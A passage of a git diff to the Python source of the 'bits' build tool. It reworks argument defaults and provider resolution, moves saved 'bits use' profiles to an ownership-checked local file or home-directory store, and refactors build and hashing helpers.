blanket set_defaults - # would inject attributes for options a subparser doesn't have (e.g. a - # `defaults` value appearing on parsers with no --defaults flag). + # $BITS_ORGANISATION (the aliBuild wrapper exports it) selects the registry/ + # provider "home" so build/etc. — not just init — pick it up. An explicit + # --organisation still wins via normal argparse precedence. Injected as a + # default on the actions that consume it. + _org_env = os.environ.get("BITS_ORGANISATION") + if _org_env: + _org_parsers = [build_parser, clean_parser, cleanup_parser, deps_parser, + doctor_parser, init_parser, verify_parser, status_parser] + for _sp in _org_parsers: + _sp.set_defaults(organisation=_org_env) for _sp in subparsers.choices.values(): - if _sp in _legacy_rc_parsers: - continue - _declared = {_a.dest for _a in _sp._actions} - _vals = {k: v for k, v in _rc_defaults.items() if k in _declared} - if _vals: - _sp.set_defaults(**_vals) + if _sp not in _org_parsers and any(_a.dest == "organisation" for _a in _sp._actions): + _sp.set_defaults(organisation=_org_env) + # BITS_PATH is seeded by --search-path (applied after parsing) or an explicit + # $BITS_PATH; the explicit env var always wins. + _explicit_bits_path = bool(os.environ.get("BITS_PATH")) # Make sure old option ordering behavior is actually still working prog = sys.argv[0] - rest = sys.argv[1:] + rest = _apply_deprecated_aliases(sys.argv[1:]) + # A bare --parallel/--builders (no following integer) means "auto": insert the + # count so the nargs='?' optional never swallows the PACKAGE positional (argparse + # would otherwise read 'ROOT' in `build --parallel ROOT` as the worker count). + _norm = [] + for _i, _tok in enumerate(rest): + _norm.append(_tok) + if _tok in ("--parallel", "--builders"): + _nxt = rest[_i + 1] if _i + 1 < len(rest) else None + if _nxt is None or not _nxt.lstrip("+-").isdigit(): + _norm.append(str(BUILDERS_AUTO)) + rest = _norm # Subcommands that define their OWN --dry-run/-n: hoisting the flag before # the subcommand would let the parent parser consume it, and the subparser's # default (False) would then overwrite it — silently turning a dry run into @@ -1739,7 +1633,7 @@ def doParseArgs(): # package named gc, --disable gc, a path segment) appears after the real # subcommand and must not flip this guard — matching on set(rest) did. _subcommand = next((x for x in rest if x in subparsers.choices), None) - _own_dry_run = _subcommand in ("cleanup", "compliance", "gc") + _own_dry_run = _subcommand in ("prune", "compliance") def optionOrder(x): # --debug/-d must come before any subcommand so the parent parser sees them. # --dry-run/-n is also a top-level flag (for build), BUT some subparsers @@ -1769,10 +1663,14 @@ def optionOrder(x): _init_explicit_flags.add(_tok[1:]) args = finaliseArgs(parser.parse_args(), parser) + # --search-path (CLI) seeds BITS_PATH, but never over an explicit $BITS_PATH + # the user set in the environment. + _sp = getattr(args, "searchPath", None) + if _sp and not _explicit_bits_path: + os.environ["BITS_PATH"] = str(_sp).strip() args._init_explicit = _init_explicit_flags return (args, parser) -VALID_ARCHS_RE = "^slc[5-9]_(x86-64|ppc64|aarch64)$|^(ubuntu|ubt|osx|fedora)[0-9]*_(x86-64|arm64)$" def matchValidArch(architecture): # Recognise an architecture by content rather than by a fixed string layout, @@ -1929,20 +1827,18 @@ def finaliseArgs(args, parser): # `bits status` reports what `bits build` WOULD do, so it must resolve # recipes through the same provider repositories — without this it # reported provider-supplied packages as missing/hash_unknown. - _rc_status = _read_bits_rc() _alibuild = os.environ.get("BITS_BRANDING", "").strip().lower() == "alibuild" args.bits_providers = ( os.environ.get("BITS_PROVIDERS") - or _rc_status.get("providers") or ("" if _alibuild else "https://github.com/bitsorg/bits-providers")) if args.bits_providers: os.environ.setdefault("BITS_PROVIDERS", args.bits_providers) args.provider_policy = _parse_provider_policy( - getattr(args, "providerPolicy", None) or _rc_status.get("provider_policy", "")) + getattr(args, "providerPolicy", None) or "") return args # compliance group mode rides the general finalisation: it needs the - # defaults split, the disable normalisation and — crucially — the bits.rc / + # defaults split, the disable normalisation and — crucially — the # BITS_PROVIDERS / provider_policy resolution below for repo discovery. if hasattr(args, "defaults"): args.defaults = _with_release_base(args.defaults.split("::")) @@ -1955,49 +1851,24 @@ def finaliseArgs(args, parser): if hasattr(args, "buildLocal"): args.buildLocal = [p for p in (args.buildLocal or "").replace(",", " ").split() if p] - # ── bits.rc / BITS_PROVIDERS ───────────────────────────────────────────── - # Read persistent configuration from the first bits.rc / .bitsrc / - # ~/.bitsrc found, then resolve ``bits_providers``. Precedence: - # 1. BITS_PROVIDERS environment variable (explicit override) - # 2. ``providers`` key in the [bits] section of the config file - # 3. Built-in default: the official bitsorg/bits-providers repository - # - # The resolved value is stored on ``args`` and also written back to the - # environment so that child processes inherit it. + # ── BITS_PROVIDERS ─────────────────────────────────────────────────────── + # Resolve ``bits_providers``. Precedence: $BITS_PROVIDERS (explicit override, + # also settable via 'bits init --providers') then a built-in default. The + # resolved value is stored on ``args`` and written back to the environment so + # child processes inherit it. Under the aliBuild wrapper (BITS_BRANDING=aliBuild) + # the built-in default is off (classic aliBuild uses a local alidist checkout); + # native `bits` defaults to the provider path. _BITS_PROVIDERS_DEFAULT = "https://github.com/bitsorg/bits-providers" - # Legacy vs provider path is chosen by the front-end: the aliBuild - # compatibility wrapper (BITS_BRANDING=aliBuild) emulates classic aliBuild, - # whose recipes come from a local alidist checkout (`aliBuild init`) — NOT the - # bits-providers bootstrap. So under aliBuild the built-in providers default is - # off; native `bits` defaults to the provider path. An explicit BITS_PROVIDERS, - # --providers, or bits.rc `providers` still wins in either mode. _alibuild_mode = os.environ.get("BITS_BRANDING", "").strip().lower() == "alibuild" _providers_default = "" if _alibuild_mode else _BITS_PROVIDERS_DEFAULT - _rc = _read_bits_rc() - args.bits_providers = ( - os.environ.get("BITS_PROVIDERS") - or _rc.get("providers") - or _providers_default - ) + args.bits_providers = os.environ.get("BITS_PROVIDERS") or _providers_default if args.bits_providers: os.environ.setdefault("BITS_PROVIDERS", args.bits_providers) - # ── store_integrity ─────────────────────────────────────────────────────── - # The flag is off by default. It can be activated either by the CLI flag - # (--store-integrity) or by adding 'store_integrity = true' to bits.rc. - # The CLI flag always wins when present; the rc key serves as a persistent - # opt-in so the feature does not need to be spelled out on every invocation. - if not getattr(args, "storeIntegrity", False): - args.storeIntegrity = _rc.get("store_integrity", "").strip().lower() in ("1", "true", "yes") - # ── provider_policy ────────────────────────────────────────────────────── - # Resolve the effective provider-position policy from (highest priority): - # 1. --provider-policy CLI flag - # 2. provider_policy key in bits.rc / .bitsrc - # The raw string is parsed into {name: "prepend"|"append"} and stored on - # args so that build.py can pass it straight through to the provider loader. - _raw_policy = getattr(args, "providerPolicy", None) or _rc.get("provider_policy", "") - args.provider_policy = _parse_provider_policy(_raw_policy) + # Effective provider-position policy from the --provider-policy flag, parsed + # into {name: "prepend"|"append"} for build.py to pass to the provider loader. + args.provider_policy = _parse_provider_policy(getattr(args, "providerPolicy", None) or "") # ── from-manifest (build replay) ───────────────────────────────────────── # When --from-manifest is given, the manifest's ``requested_packages`` list @@ -2070,7 +1941,7 @@ def finaliseArgs(args, parser): args.docker_extra_args = shlex.split(args.docker_extra_args) args.docker_extra_args.append("--network=host") # Pin the build container to the full set of online host CPUs so that - # make -j and makeflow see the real core count rather than the cgroup + # make -j sees the real core count rather than the cgroup # quota inherited from the GitLab runner process. # /sys/devices/system/cpu/online gives the kernel-reported online CPU # list (e.g. "0-7") which reflects actual hardware, not the caller's @@ -2117,7 +1988,7 @@ def finaliseArgs(args, parser): if getattr(args, "dockerPlatform", None) == "native": args.dockerPlatform = None elif not getattr(args, "dockerPlatform", None): - from bits_helpers.utilities import docker_platform_for_arch, detectArch as _detectArch + from bits_helpers.arch import docker_platform_for_arch, detectArch as _detectArch target_plat = docker_platform_for_arch(args.architecture) host_plat = docker_platform_for_arch(_detectArch()) if target_plat and target_plat != host_plat: @@ -2144,15 +2015,15 @@ def finaliseArgs(args, parser): if args.action in ("build", "doctor"): - # Store URL from the environment when not set on the CLI/bits.rc. Precedence: - # CLI/bits.rc > BITS_REMOTE_STORE (runner env) > REMOTE_STORE (CI common) > + # Store URL from the environment when not set on the CLI. Precedence: + # CLI > BITS_REMOTE_STORE (runner env) > REMOTE_STORE (CI common) > # built-in default. --no-remote-store below still clears it. if not args.remoteStore: args.remoteStore = os.environ.get("BITS_REMOTE_STORE") or os.environ.get("REMOTE_STORE") or "" if not args.writeStore: args.writeStore = os.environ.get("BITS_WRITE_STORE") or os.environ.get("WRITE_STORE") or "" - # Explicit = came from CLI/bits.rc/env. If so it wins over a defaults + # Explicit = came from CLI/env. If so it wins over a defaults # `system: remote_store:` (applied later in build.py, where defaults load); # otherwise system.remote_store overrides the built-in arch default below. args.remoteStoreExplicit = bool(args.remoteStore) diff --git a/bits_helpers/bits_use.py b/bits_helpers/bits_use.py index 22c82e03..ff39b3ea 100644 --- a/bits_helpers/bits_use.py +++ b/bits_helpers/bits_use.py @@ -1,16 +1,16 @@ # SPDX-FileCopyrightText: 2015-2026 CERN # SPDX-License-Identifier: GPL-3.0-or-later -"""`bits use` — save reusable command-line args in ``./.bitscmd`` so repeated -commands stay short. Distinct from ``.bitsrc`` (typed key=value settings): -``.bitscmd`` holds raw CLI tokens, structured by the command they apply to. +"""`bits use` — save reusable command-line args per directory so repeated +commands stay short. The profile holds raw CLI tokens, structured by the +command they apply to. A ``[common]`` section is injected into arch-aware commands (put only broadly accepted args here, i.e. ``--architecture``, which ``build`` AND ``q``/``enter``/ ``clean`` all take); a per-command section (``[build]``, ``[q]``, …) adds args that command accepts — e.g. ``--defaults`` belongs in ``[build]``, NOT -``[common]`` (module commands and ``clean``/``import`` don't accept it). Injected -BEFORE the user's own args, so those override single-value options. Example:: +``[common]``. Injected BEFORE the user's own args, so those override +single-value options. Example:: [common] --architecture x86_64-el9-gcc14-opt @@ -18,22 +18,108 @@ [build] --defaults lcg::release::gcc14::opt --docker --sandbox off --reuse-from cvmfs::relaxed +Storage (two-tier) +------------------ +The profile lives in ``./.bitsuse`` when the current directory is writeable and +owned by you. When it is not (a shared or read-only checkout), it lives instead +under ``~/.bits/use/`` keyed by the real path of the directory, so a choice +made with ``bits use`` still persists for that directory. A local ``.bitsuse`` +is honoured only when it is owned by the invoking user — otherwise it is ignored +(it is injected into argv before parsing, so a world-writeable checkout must not +be able to plant one) and the home record is used. ``.bitscmd`` is the previous +name and is still read as a fallback. + Prototype — runs standalone:: python3 -m bits_helpers.bits_use common --architecture x86_64-el9-gcc14-opt python3 -m bits_helpers.bits_use build --docker --sandbox off - python3 -m bits_helpers.bits_use # show all sections + python3 -m bits_helpers.bits_use # show the active profile + source python3 -m bits_helpers.bits_use --clear [SECTION] """ +import hashlib import os import shlex import sys -PROFILE = ".bitscmd" -COMMON = "common" # section injected into every command ('global' alias) +PROFILE = ".bitsuse" # per-directory saved-arg profile +LEGACY_PROFILE = ".bitscmd" # previous name, still read as a fallback +HOME_STORE = os.path.join(os.path.expanduser("~"), ".bits", "use") +COMMON = "common" # section injected into every command ('global' alias) + + +# ── storage resolution (two-tier: local ./.bitsuse or ~/.bits/use/) ────── + +def _owned_by_user(path): + """True when *path* is owned by the invoking user (or ownership can't be + determined, e.g. a platform without getuid — then don't gate).""" + try: + return os.stat(path).st_uid == os.getuid() + except AttributeError: # no os.getuid (non-POSIX) → no ownership gate + return True + except OSError: + return False + + +def _home_paths(directory=None): + """Return ``(home_profile_path, real_directory)`` for *directory* (default cwd).""" + d = os.path.realpath(directory or os.getcwd()) + key = hashlib.sha256(d.encode("utf-8")).hexdigest()[:16] + return os.path.join(HOME_STORE, key + ".use"), d +def _local_read_path(): + """The trusted local profile to read (``.bitsuse``, then legacy ``.bitscmd``), + or None when none exists or the one that exists is not owned by the user.""" + for name in (PROFILE, LEGACY_PROFILE): + if os.path.exists(name): + if _owned_by_user(name): + return name + sys.stderr.write("bits use: ignoring %s (not owned by you)\n" % name) + return None + + +def _read_path(): + """Where to READ the active profile: a trusted local file, else the + ~/.bits/use record for this directory, else None.""" + local = _local_read_path() + if local: + return local + home, _ = _home_paths() + return home if os.path.exists(home) else None + + +def _write_path(): + """Where to WRITE. Prefer an existing owned+writeable local ``.bitsuse`` + (updating a file needs only file write permission, so this keeps working even + in a dir that is not itself writeable, matching where reads look); else create + ``./.bitsuse`` when the cwd is writeable and owned; else a ~/.bits/use record + for this directory.""" + if os.path.exists(PROFILE) and _owned_by_user(PROFILE) and os.access(PROFILE, os.W_OK): + return PROFILE + cwd = os.getcwd() + if os.access(cwd, os.W_OK) and _owned_by_user(cwd): + return PROFILE + os.makedirs(HOME_STORE, exist_ok=True) + home, _ = _home_paths() + return home + + +def _is_home_path(path): + return os.path.dirname(os.path.abspath(path)) == os.path.abspath(HOME_STORE) + + +def _src_label(path): + """Human label for a profile path: bare name for a local file, full path + (with the directory it applies to) for a home record.""" + if _is_home_path(path): + _, d = _home_paths() + return "%s (for %s)" % (path, d) + return path + + +# ── profile read/write ──────────────────────────────────────────────────────── + def _join(tokens): try: return shlex.join(tokens) # Python 3.8+ @@ -42,14 +128,14 @@ def _join(tokens): def read_all(path=PROFILE): - """Parse the profile into an ordered ``{section: [tokens]}`` dict. + """Parse the profile at *path* into an ordered ``{section: [tokens]}`` dict. ``[name]`` opens a section; lines before any header belong to ``common``; - ``#`` comments and blank lines are ignored. Each section's lines are joined - and shlex-split into tokens. + ``#`` comments (including the ``# dir:`` header on home records) and blank + lines are ignored. Each section's lines are joined and shlex-split. """ sections, cur, buf = {}, COMMON, [] - if not os.path.exists(path): + if not path or not os.path.exists(path): return sections def _flush(): @@ -71,23 +157,52 @@ def _flush(): buf.append(line) _flush() except (OSError, ValueError): - # ValueError: a malformed token (e.g. an unbalanced quote) in the - # profile. Fail safe — ignore the profile rather than crash a build. + # ValueError: a malformed token (unbalanced quote). Fail safe — ignore + # the profile rather than crash a build. return {} return sections -def write_section(section, tokens, path=PROFILE): - """Replace *section* with *tokens*, preserving the other sections.""" +def _write_all(sections, path=PROFILE): + order = [COMMON] + [s for s in sections if s != COMMON] + with open(path, "w") as fh: + if _is_home_path(path): + # Record which directory this home profile belongs to (the parser + # ignores '#' lines); lets --show name it and aids housekeeping. + _, d = _home_paths() + fh.write("# dir: %s\n" % d) + for s in order: + toks = sections.get(s) + if not toks: + continue + fh.write("[%s]\n%s\n\n" % (s, _join(toks))) + + +def write_section(section, tokens, path=None): + """Replace *section* with *tokens*, preserving the other sections. Writes to + the resolved write path (local ``.bitsuse`` or a ~/.bits/use record).""" + if path is None: + target = _write_path() + # Seed from the currently ACTIVE profile (which may be a legacy .bitscmd + # or a home record) so existing sections carry over to the new file + # instead of being silently dropped on first write under the new name. + sections = read_all(_read_path()) + else: + target = path + sections = read_all(path) section = COMMON if section in ("global", COMMON) else section.lower() - sections = read_all(path) sections[section] = list(tokens) - _write_all(sections, path) - return path + _write_all(sections, target) + return target -def clear_section(section=None, path=PROFILE): - """Clear one section, or the whole profile when *section* is None.""" +def clear_section(section=None, path=None): + """Clear one section, or the whole profile when *section* is None, operating + on the currently active profile.""" + if path is None: + path = _read_path() + if not path: + return False if section is None: try: os.unlink(path); return True @@ -102,19 +217,11 @@ def clear_section(section=None, path=PROFILE): return False -def _write_all(sections, path=PROFILE): - order = [COMMON] + [s for s in sections if s != COMMON] - with open(path, "w") as fh: - for s in order: - toks = sections.get(s) - if not toks: - continue - fh.write("[%s]\n%s\n\n" % (s, _join(toks))) - - -def merged_argv(command, user_args, path=PROFILE): +def merged_argv(command, user_args, path=None): """Args to run for *command*: ``[common]`` then ``[command]`` then the user's own args (which come last and win on single-value options).""" + if path is None: + path = _read_path() sec = read_all(path) return sec.get(COMMON, []) + sec.get((command or "").lower(), []) + list(user_args) @@ -127,8 +234,6 @@ def merged_argv(command, user_args, path=PROFILE): # `--architecture`, the intended `[common]` content). Meta commands (use, cvmfs, # store, version, help, cvmfs-stage/publish) and `verify` (accepts neither # --architecture nor --defaults) take a different option set and are excluded. -# Note: several of these accept --architecture but NOT --defaults, so --defaults -# belongs in per-command sections ([build], …), never in [common]. INJECT_ACTIONS = { "build", "deps", "doctor", "status", "clean", "cleanup", "gc", "import", "publish", "certify", "compliance", @@ -147,14 +252,15 @@ def _find_action(argv): return None -def rewrite_argv(argv, path=PROFILE): - """Return *argv* with the ``.bitscmd`` profile injected right after the action +def rewrite_argv(argv, path=None): + """Return *argv* with the active profile injected right after the action token: ``[common]`` plus ``[]``, for arch-aware actions only (``INJECT_ACTIONS``). A no-op when there is no profile, no action, or the - action is a meta command (``use``/``cvmfs``/``store``/…). This is the single - entry point the wrapper calls at startup. + action is a meta command. This is the single entry point the wrapper calls. """ argv = list(argv) + if path is None: + path = _read_path() sec = read_all(path) if not sec: return argv @@ -172,10 +278,12 @@ def rewrite_argv(argv, path=PROFILE): # ── CLI ────────────────────────────────────────────────────────────────────── -def _show(path=PROFILE): +def _show(): + path = _read_path() sec = read_all(path) if not sec: - print("no .bitscmd in %s" % os.getcwd()); return 0 + print("no bits use profile for %s" % os.getcwd()); return 0 + print("# %s" % _src_label(path)) for s, toks in sec.items(): if toks: print("[%s] %s" % (s, _join(toks))) @@ -191,10 +299,11 @@ def main(argv=None): out = rewrite_argv(rest) if out != rest: # injection happened → tell the user n = len(out) - len(rest) - sys.stderr.write("using .bitscmd (+%d arg%s)\n" % (n, "" if n == 1 else "s")) + path = _read_path() or PROFILE + label = path if _is_home_path(path) else os.path.basename(path) + sys.stderr.write("using %s (+%d arg%s)\n" % (label, n, "" if n == 1 else "s")) # NUL-terminate EVERY token (trailing NUL included) so the wrapper's - # `while read -d ''` loop captures the final token — an unterminated last - # field is assigned but the loop exits before appending it (dropping it). + # `while read -d ''` loop captures the final token. sys.stdout.write("".join(t + "\0" for t in out)) return 0 if not argv: @@ -211,10 +320,10 @@ def main(argv=None): section, rest = COMMON, argv if not rest: print("no args given for [%s]" % section); return 1 - write_section(section, rest) + path = write_section(section, rest) print("saved to [%s] in %s: %s" % ( COMMON if section in ("global", COMMON) else section.lower(), - PROFILE, _join(rest))) + _src_label(path), _join(rest))) return 0 diff --git a/bits_helpers/brew.py b/bits_helpers/brew.py index 03ce5598..f5efe797 100644 --- a/bits_helpers/brew.py +++ b/bits_helpers/brew.py @@ -28,7 +28,7 @@ import glob from bits_helpers.log import debug, error, info -from bits_helpers.utilities import parseRecipe, FileReader +from bits_helpers.recipe import parseRecipe, FileReader def _as_list(value): @@ -40,19 +40,28 @@ def _as_list(value): return [str(value).strip()] if str(value).strip() else [] +# Formulae the bits BUILD SYSTEM itself needs on macOS, independent of any recipe. +# gnu-tar (gtar): deterministic package tarballs — build_template.sh uses GNU tar's +# --sort/--mtime so packages are byte-identical across nodes (finding R1). Always +# emitted so it can never fall out of the Brewfile when recipes change. +BASE_FORMULAE = frozenset({"gnu-tar"}) + + def collect_homebrew(configDir, architecture): """Return (formulae, taps) declared by recipes in configDir for architecture. The Brewfile is a macOS artifact (Homebrew is the macOS system layer here), so - for a non-osx architecture there is nothing to emit. On osx, a recipe - contributes its `homebrew_formula` when it declares no `prefer_system` (author - opted in unconditionally) or its `prefer_system` regex matches `architecture` - (so a Linux-only declaration is never emitted into a macOS Brewfile). + for a non-osx architecture there is nothing to emit. On osx, the build-system + base formulae (BASE_FORMULAE) are always included, and a recipe contributes its + `homebrew_formula` when it declares no `prefer_system` (author opted in + unconditionally) or its `prefer_system` regex matches `architecture` (so a + Linux-only declaration is never emitted into a macOS Brewfile). """ import re formulae, taps = set(), set() if not str(architecture).startswith("osx"): return formulae, taps + formulae |= BASE_FORMULAE for path in sorted(glob.glob(os.path.join(configDir, "*.sh"))): err, spec, _ = parseRecipe(FileReader(path)) if err or not spec: @@ -78,7 +87,8 @@ def render_brewfile(formulae, taps, architecture): """Render a sorted, deterministic Brewfile string.""" lines = [ "# Generated by `bits brew` — do not edit by hand.", - "# Source of truth: the homebrew_formula: fields in the bits recipes.", + "# Source of truth: the homebrew_formula: fields in the bits recipes, plus the", + "# build-system base tools (gnu-tar, for reproducible package tarballs).", "# Regenerate with: bits brew -a %s -o " % architecture, "# Install with: brew bundle --file ", "", diff --git a/bits_helpers/build.py b/bits_helpers/build.py index ed64f87b..29d030b5 100644 --- a/bits_helpers/build.py +++ b/bits_helpers/build.py @@ -5,7 +5,6 @@ from os import makedirs, unlink, readlink, rmdir from pathlib import Path from bits_helpers import __version__ -from bits_helpers.analytics import report_event from bits_helpers.log import debug, info, banner, warning from bits_helpers.log import dieOnError from bits_helpers.repo_provider import fetch_repo_providers_iteratively, load_always_on_providers @@ -14,16 +13,20 @@ enforcement_mode as checksum_enforcement_mode, write_checksums_enabled, checksum_file as compute_checksum_file) -from bits_helpers.checksum_store import write_checksum_file as write_pkg_checksum_file from bits_helpers.cmd import execute, DockerRunner, BASH, install_wrapper_script, getstatusoutput from bits_helpers.sandbox import wrap_build_command -from bits_helpers.utilities import prunePaths, symlink, call_ignoring_oserrors, topological_sort, detectArch -from bits_helpers.utilities import resolve_store_path, resolve_links_path, effective_arch, SHARED_ARCH, compute_combined_arch, pkg_to_shell_id, ver_rev -from bits_helpers.utilities import parseDefaults, readDefaults, resolve_variables -from bits_helpers.utilities import getPackageList, asList -from bits_helpers.utilities import validateDefaults, incompatibleFlavorDefaults +from bits_helpers.utilities import prunePaths, symlink, call_ignoring_oserrors, topological_sort +from bits_helpers.utilities import resolve_store_path, resolve_links_path, ver_rev +from bits_helpers.arch import detectArch, effective_arch, SHARED_ARCH, compute_combined_arch +from bits_helpers.defaults import parseDefaults, readDefaults +from bits_helpers.matchers import resolve_variables +from bits_helpers.packages import getPackageList +from bits_helpers.initdotsh import generate_initdotsh +from bits_helpers.hashing import storeHashes +from bits_helpers.defaults import validateDefaults, incompatibleFlavorDefaults from bits_helpers.utilities import Hasher -from bits_helpers.utilities import resolve_tag, resolve_version, short_commit_hash, resolve_spec_data, resolveLocalPath +from bits_helpers.utilities import resolve_tag, resolve_version, short_commit_hash, resolve_spec_data +from bits_helpers.paths import resolveLocalPath from bits_helpers.git import Git, git from bits_helpers.sl import Sapling from bits_helpers.scm import SCMError @@ -87,52 +90,12 @@ def apply_defaults_legacy_initdotsh(args, defaults_meta, explicit) -> bool: return True -def _generate_create_links_sh(spec, specs, args) -> str: - """Generate a self-contained shell script that recreates the dist symlink trees. - - Used by the Makeflow .build rule (--pipeline --makeflow) so that dist-link - creation runs inside the build rule instead of requiring Python's ``specs`` - dict later. The generated script bakes in all dependency information at - Python build time. - """ - from bits_helpers.utilities import effective_arch, ver_rev, resolve_links_path - lines = ["#!/usr/bin/env bash", "set -e", ""] - for repo_type, requires_key in [ - ("dist", "full_requires"), - ("dist-direct", "requires"), - ("dist-runtime", "full_runtime_requires"), - ]: - target_dir = ( - "{work_dir}/TARS/{arch}/{repo}/{package}/{package}-{ver_rev}" - .format( - work_dir=args.workDir, arch=args.architecture, - repo=repo_type, ver_rev=ver_rev(spec), **spec, - ) - ) - lines.append("# -- %s --" % repo_type) - # FIX: quote() prevents spaces, semicolons, or other shell metacharacters in - # workDir or package names from being interpreted when the generated script runs. - lines.append("rm -rf %s" % quote(target_dir)) - lines.append("mkdir -p %s" % quote(target_dir)) - for pkg in [spec["package"]] + list(spec[requires_key]): - dep_spec = specs[pkg] - dep_arch = effective_arch(dep_spec, args.architecture) - dep_tarball = ( - "../../../../../TARS/{arch}/store/{short_hash}/{hash}/{package}-{ver_rev}.{arch}.tar.gz" - .format(arch=dep_arch, short_hash=dep_spec["hash"][:2], - ver_rev=ver_rev(dep_spec), **dep_spec) - ) - lines.append('ln -nfs %s %s/' % (quote(dep_tarball), quote(target_dir))) - lines.append("") - return "\n".join(lines) - - def _prefetch_package(spec, sync_helper, work_dir, build_arch) -> None: """Background task: prefetch the prebuilt tarball + all source archives. Uses the sentinel-file mechanism (``.downloading`` files; see - ``bits_helpers.download``) so that the main build loop and Makeflow shell - rules can detect in-progress downloads and wait for completion. + ``bits_helpers.download``) so that the main build loop can detect + in-progress downloads and wait for completion. Sentinel for the tarball: ``.downloading``. Sentinels for source archives: ``.downloading`` (managed inside @@ -386,7 +349,6 @@ def _store_revision_records(spec, spec_arch, work_dir, sync_helper): itself. """ from bits_helpers import rev_index - lister = getattr(sync_helper, "list_store_tarballs", None) def _revs(names): # Skip revision-less objects (force_revision="" -> ""), and localN objects: @@ -409,8 +371,8 @@ def _revs(names): # downloading. Never let that suppress the remote lookup — an empty local # listing is "unknown", not "absent". revs = _revs(local) - if not revs and lister: - revs = _revs(lister(spec_arch, pkg_hash)) + if not revs: + revs = _revs(sync_helper.list_store_tarballs(spec_arch, pkg_hash)) if revs: if len(revs) > 1: warning("Store holds %s revisions %s for %s %s under one hash (%s); " @@ -474,10 +436,7 @@ def _revision_index_records(spec, spec_arch, args, work_dir, sync_helper): manifest_recs = rev_index.manifest_records( trusted_reuse_records(args, work_dir), spec["package"], spec["version"], spec_arch) - markers = {} - reader = getattr(sync_helper, "read_rev_markers", None) - if reader: - markers = reader(spec["package"], spec["version"], spec_arch) + markers = sync_helper.read_rev_markers(spec["package"], spec["version"], spec_arch) store_recs = _store_revision_records(spec, spec_arch, work_dir, sync_helper) covered = {h for _, h in store_recs} @@ -712,294 +671,8 @@ def storeHook(package, specs, defaults) -> bool: return bool(spec["hook"]) -_HEREDOC_START = re.compile(r"<<-?\s*([\"']?)([A-Za-z_][A-Za-z0-9_]*)\1") - -# Front-matter keys that are metadata / publish-policy ONLY: they never affect -# what is built, so they are dropped from the HASH input (exactly like comments). -# Editing a license, description, project URL, attribution, source link, or the -# redistributable flag therefore does NOT change a package's hash — no rebuild and -# no re-publish. The executed recipe keeps every field; only hashing ignores these. -_HASH_EXCLUDED_META_KEYS = frozenset({ - "license", "description", "url", "homepage", - "acknowledgment", "acknowledgement", "source_url", "redistributable", - # preload: CVMFS filebundle test list, consumed post-publish by `bits preload`; - # it never affects the build, so editing it must not force a rebuild. - "preload", -}) - -# Source-selection keys are ALSO dropped from the recipe TEXT hash — not because -# they are cosmetic, but because storeHashes already folds the RESOLVED source -# identity into the hash from the spec (every sources: URL, the git source + tag, -# and commit_hash), AFTER _apply_source_mode has pruned to the selected form. -# Hashing the raw text on top would double-count AND make merely DECLARING a git -# alternative on a tarball recipe rebuild it, even though the default (tar) build -# is byte-identical. Excluding them keeps dual-source declarations hash-neutral -# while the spec-field hashing still makes every distinct source a distinct build. -_HASH_REDUNDANT_SOURCE_KEYS = frozenset({"source", "sources", "tag"}) - - -def normalize_recipe_for_hash(recipe): - """Return a copy of a recipe for HASHING ONLY, with elements that do not affect - the build removed so that editing them does not change the build hash (and thus - does not force a rebuild / re-publish). The executed recipe is untouched. - - Two classes are dropped: - * full-line comments and blank lines, everywhere except inside a here-doc - (where a leading '#' is data). The here-doc scan is conservative: it only - ever protects MORE text, never merges two distinct recipes. - * metadata / publish-policy keys (``_HASH_EXCLUDED_META_KEYS``) in the YAML - front-matter — the key line and any indented block value beneath it — so - license/description/url/acknowledgment/source_url/redistributable are free - to edit. These are stripped ONLY in the header (before the first column-0 - ``---`` separator); the shell body is never scanned for them. - """ - if not isinstance(recipe, str): - return recipe - lines = recipe.split("\n") - # Header ends at the first column-0 "---" (an indented "---" is block-scalar - # data, not the separator). With NO separator the string has no front-matter - # (it is a bare shell body, as some callers/tests pass), so treat it all as body - # -- never as header -- to preserve here-doc/comment handling. - boundary = next((i for i, ln in enumerate(lines) if ln.rstrip() == "---"), None) - header = lines[:boundary] if boundary is not None else [] - body = lines[boundary:] if boundary is not None else lines - out = [] - # --- YAML front-matter: drop comments/blanks + metadata-only keys and their - # indented continuation lines. - skipping_meta_block = False - for line in header: - stripped = line.strip() - if not stripped or stripped.startswith("#"): # comment / blank: never hashed - continue - if line[:1].isspace(): # indented continuation line - if skipping_meta_block: - continue # part of a dropped key's value - out.append(line) - continue - key = stripped.split(":", 1)[0].strip() # a top-level key - if key in _HASH_EXCLUDED_META_KEYS or key in _HASH_REDUNDANT_SOURCE_KEYS: - skipping_meta_block = True - continue - skipping_meta_block = False - out.append(line) - - # --- shell body (from the "---" separator onward): unchanged behaviour, with - # here-doc protection. - pending, active = [], None - for line in body: - if active is not None: # inside a here-doc body: keep verbatim - out.append(line) - if line.strip() == active: # terminator (tabs allowed for <<-) - active = pending.pop(0) if pending else None - continue - delims = [m.group(2) for m in _HEREDOC_START.finditer(line)] - if delims: # this line opens one or more here-docs - out.append(line) - active, pending = delims[0], delims[1:] - continue - stripped = line.strip() - if not stripped or stripped.startswith("#"): # blank or whole-line comment - continue - out.append(line) - return "\n".join(out) - - -def storeHashes(package, specs, considerRelocation): - """Calculate various hashes for package, and store them in specs[package]. - - Assumes that all dependencies of the package already have a definitive hash. - """ - spec = specs[package] - "If hooks are used, store them as part of package spec so we can include them in the hash." - - if "remote_revision_hash" in spec and "local_revision_hash" in spec: - # We've already calculated these hashes before, so no need to do it again. - # This also works around a bug, where after the first hash calculation, - # some attributes of spec are changed (e.g. append_path and prepend_path - # entries are turned from strings into lists), which changes the hash on - # subsequent calculations. - return - - # For now, all the hashers share data -- they'll be split below. - h_all = Hasher() - - if spec.get("force_rebuild", False): - h_all(str(time.time())) - - for key in ("recipe", "version", "package"): - val = spec.get(key, "none") - # Hash the recipe with full-line comments / blank lines removed so that - # documentation-only edits do not change the hash and force a rebuild. - if key == "recipe": - val = normalize_recipe_for_hash(val) - h_all(val) - - # pkg_family changes the installation path (ARCH/FAMILY/PKG/VER vs - # ARCH/PKG/VER), so tarballs built with different family settings are - # not interchangeable. Include it in the hash so they get distinct - # identities and a family-tagged build never silently reuses a tarball - # that was uploaded without a family (which would break relocation). - # Empty string is used when no family is set, preserving backward - # compatibility with existing tarballs. - h_all(spec.get("pkg_family", "")) - - # commit_hash could be a commit hash (if we're not building a tag, but - # instead e.g. a branch or particular commit specified by its hash), or it - # could be a tag name (if we're building a tag). We want to calculate the - # hash for both cases, so that if we build some commit, we want to be able to - # reuse tarballs from other builds of the same commit, even if it was - # referred to differently in the other build. - debug("Base git ref is %s", spec["commit_hash"]) - h_default = h_all.copy() - 